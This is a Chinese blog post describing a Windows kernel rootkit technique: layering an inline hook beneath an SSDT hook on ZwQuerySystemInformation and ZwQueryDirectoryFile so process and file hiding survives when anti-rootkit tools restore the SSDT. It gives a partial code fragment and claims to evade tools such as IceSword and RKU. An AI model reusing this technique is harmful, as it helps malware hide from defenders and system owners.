谈谈对于SSDT中的API进行双层HOOK的通用处理模式

本文介绍了一种双层HOOK技术,即在不存在SSDT HOOK的情况下先安装Inline HOOK,然后安装外层SSDT HOOK。当SSDT HOOK被移除时,内层的Inline HOOK将继续生效,确保进程隐藏等操作的持续执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

HOOK的确是门艺术,在对抗中求生存,感觉很好。。。
此处,只是说一下处理是的思路,不提供完整源码
代码:
//谈谈对于SSDT中的API进行双层HOOK的通用处理模式,示例代码:
  // 双层HOOK: 1.在不存在SSDT HOOK的情况下先安装Inline HOOK
  ...
  SetInLineHookZwQueryDirectoryFile();
  SetInLineHookZwQuerySystemInformation();
  // 双层HOOK: 2.再安装外层的SSDT HOOK,这样时即使本HOOK被其他工具恢复,内层的HOOK依然在工作着
  InHookSSDTNativeAPI();
  ...
//////////////////////////////////////////////////////////////////////////////
   .....................
////////////////////// Do any thing //////////////////////////////////////////
  // 进行进程隐藏
  if(NT_SUCCESS(ntStatus))
  {  ZWQUERYSYSTEMINFORMATION TempCheckInSSDTSpace=(ZWQUERYSYSTEMINFORMATION)SYSTEMSERVICE(ZwQuerySystemInformation);
    // 检测自己的 SSDT HOOK 是否存在,避免重复工作; 当然若一定要重复工作也可以,
    // 不会引起BSOD; 这说明代码写的健壮 ^-^.
    if(HookSSDTZwQuerySystemInformation!=TempCheckInSSDTSpace)
    {   // 当自己的SSDT HOOK被摘除时, 让Inline Hook 继续替代工作
      //if(0x81000000 > (ULONG)TempCheckInSSDTSpace) 
      HideFileFromZwQuerySystemInformation(SystemInformationClass,SystemInformation);
      if (TempCheckInSSDTSpace != OldZwQuerySystemInformation)
      {   // 若检测自己是Inline Hook到了SSDT的深层空间,则需要检测KIRQL,再进行相应处理
          // 以避免不必要的BSOD发生!
        if(DISPATCH_LEVEL >= KeGetCurrentIrql())
        //    此时不宜太占用太多CPU时间,如果是在safemon.sys的HOOK分发函数中,
          //可能将系统资源耗尽. 可以连SMM的SSDT HOOK也不放过,让Inline Hook经得起各种
        //恶劣环境的考验^-^
          DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!/n");
          // 输出调试信息,证明自己正在干事.
      }
      else
      {
          DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!/n");
          // 输出调试信息,证明自己正在干事.
      }    
    }
    else
    {
      DbgPrint("Rootkit: SSDT HOOK ZwQuerySystemInformation is exist, Inline Hook not need to do any thing any more!/n");
    }
  }
////////////////////// Do any thing //////////////////////////////////////////
  自己也做了个过RKU,IceSword 1.22,SnipeSword,wsyscheck0223的动画,有与体积太大将近5M,也就不传上来了,免得浪费论坛资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值